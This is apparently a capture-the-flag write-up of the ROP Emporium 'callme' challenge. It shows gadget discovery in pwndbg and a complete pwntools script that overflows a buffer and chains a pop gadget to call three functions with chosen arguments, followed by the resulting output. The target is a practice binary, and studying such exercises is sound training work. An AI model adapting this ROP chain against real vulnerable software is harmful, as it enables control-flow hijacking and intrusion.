ROP Emporium Challenge 3: callme
December 26, 2025
This challenge won't be very difficult if we are understood gadgets properly from the last challenge. As the description says, for this challenge we'll need to call three functions in a specific order, with some specific arguments. These three functions are callme_one, callme_two and callme_three. The arguments for those three functions must be 0xdeadbeefdeadbeef, 0xcafebabecafebabe and 0xd00df00dd00df00d.
As we have done in every challenge, let's start by seeing what functions this binary has:
pwndbg> info functions
0x00000000004006a8 _init
0x00000000004006d0 puts@plt
0x00000000004006e0 printf@plt
0x00000000004006f0 callme_three@plt
0x0000000000400700 memset@plt
0x0000000000400710 read@plt
0x0000000000400720 callme_one@plt
0x0000000000400730 setvbuf@plt
0x0000000000400740 callme_two@plt
0x0000000000400750 exit@plt
...
0x00000000004008f2 usefulFunction
0x000000000040093c usefulGadgets
...
Let's disassemble usefulFunction first:
pwndbg> disas usefulFunction
0x00000000004008f2 <+0>: push rbp
0x00000000004008f3 <+1>: mov rbp,rsp
0x00000000004008f6 <+4>: mov edx,0x6
0x00000000004008fb <+9>: mov esi,0x5
0x0000000000400900 <+14>: mov edi,0x4
0x0000000000400905 <+19>: call 0x4006f0 <callme_three@plt>
0x000000000040090a <+24>: mov edx,0x6
0x000000000040090f <+29>: mov esi,0x5
0x0000000000400914 <+34>: mov edi,0x4
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
0x0000000000400932 <+64>: mov edi,0x1
0x0000000000400937 <+69>: call 0x400750 <exit@plt>
Looking at the code, even if the function call order is reversed, we can get a very important hint. Judging by the mov instructions, we can realize that the edx, esi and edi register are actually the arguments for the functions.
Disassembling usefulGadgets hints it as well, and also gives us a gadget we can use to modify the registers ourselves:
0x000000000040093c <+0>: pop rdi
0x000000000040093d <+1>: pop rsi
0x000000000040093e <+2>: pop rdx
0x000000000040093f <+3>: ret
Good! Now we know how the callme functions are called, and we also have a gadget that allows us to move arbitrary values to the argument registers. All we need to do now is build the buffer overflow and then jump to the gadget for every function call, pop the argument values into the registers (0xdeadbeefdeadbeef, 0xcafebabecafebabe and 0xd00df00dd00df00d to rdi, rsi and rdx respectively) and then call the callme functions ourselves (we know their addresses from the info functions command).
First, let's define some variables with addresses in a Python script with pwntools:
from pwn import *
OFFSET = 40
CALLME_ONE_ADDRESS = 0x0000000000400720
CALLME_TWO_ADDRESS = 0x0000000000400740
CALLME_THREE_ADDRESS = 0x00000000004006f0
POP_GADGET_ADDRESS = 0x0040093c
DEADBEEF_ARGUMENT = 0xDEADBEEFDEADBEEF
CAFEBABE_ARGUMENT = 0xCAFEBABECAFEBABE
D00DF00D_ARGUMENT = 0xD00DF00DD00DF00D
RETURN_GADGET = 0x004006be
I obtained the offset the same way I did in the other two challenges, with a pattern search using cyclic. I go over this slightly in the writeups, and more in depth in my article about how to perform a simple buffer overflow. Feel free to read it if you got lost here.
After that, I just stored the callme function addresses we've obtained from info functions. Then, I also stored the gadget function address that I got when I disassembled usefulGadgets. I also wrote in the arguments we need to call the functions with, and in order to align the stack, I got a return gadget with rop. Let's build the payload!
from pwn import *
OFFSET = 40
CALLME_ONE_ADDRESS = 0x0000000000400720
CALLME_TWO_ADDRESS = 0x0000000000400740
CALLME_THREE_ADDRESS = 0x00000000004006f0
POP_GADGET_ADDRESS = 0x0040093c # pop rdi ; pop rsi ; pop rdx ; ret
DEADBEEF_ARGUMENT = 0xDEADBEEFDEADBEEF
CAFEBABE_ARGUMENT = 0xCAFEBABECAFEBABE
D00DF00D_ARGUMENT = 0xD00DF00DD00DF00D
RETURN_GADGET = 0x004006be # ret;
payload = b"A" * OFFSET
payload += p64(RETURN_GADGET) # We align the stack
# callme_one
payload += p64(POP_GADGET_ADDRESS)
payload += p64(DEADBEEF_ARGUMENT) # rdi = 0xDEADBEEFDEADBEEF
payload += p64(CAFEBABE_ARGUMENT) # rsi = 0xCAFEBABECAFEBABE
payload += p64(D00DF00D_ARGUMENT) # rdx = 0xD00DF00DD00DF00D
payload += p64(CALLME_ONE_ADDRESS) # We call callme_one with the proper args
# callme_two
payload += p64(POP_GADGET_ADDRESS)
payload += p64(DEADBEEF_ARGUMENT) # rdi = 0xDEADBEEFDEADBEEF
payload += p64(CAFEBABE_ARGUMENT) # rsi = 0xCAFEBABECAFEBABE
payload += p64(D00DF00D_ARGUMENT) # rdx = 0xD00DF00DD00DF00D
payload += p64(CALLME_TWO_ADDRESS) # We call callme_two with the proper args
# callme_three
payload += p64(POP_GADGET_ADDRESS)
payload += p64(DEADBEEF_ARGUMENT) # rdi = 0xDEADBEEFDEADBEEF
payload += p64(CAFEBABE_ARGUMENT) # rsi = 0xCAFEBABECAFEBABE
payload += p64(D00DF00D_ARGUMENT) # rdx = 0xD00DF00DD00DF00D
payload += p64(CALLME_THREE_ADDRESS) # We call callme_three with the proper args
open("exploit", "bw").write(payload)
This will create a file called exploit that we can use as input for the binary:
$ python3 exploit.py
$ ./callme < exploit
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
Done!
This challenge, even if it didn't present anything I didn't know from the other two challenges, was quite a step up from me, and it made me understand better the use of gadgets in binary exploitation. It's important to get used to working with them. The more exposure to its uses, the better.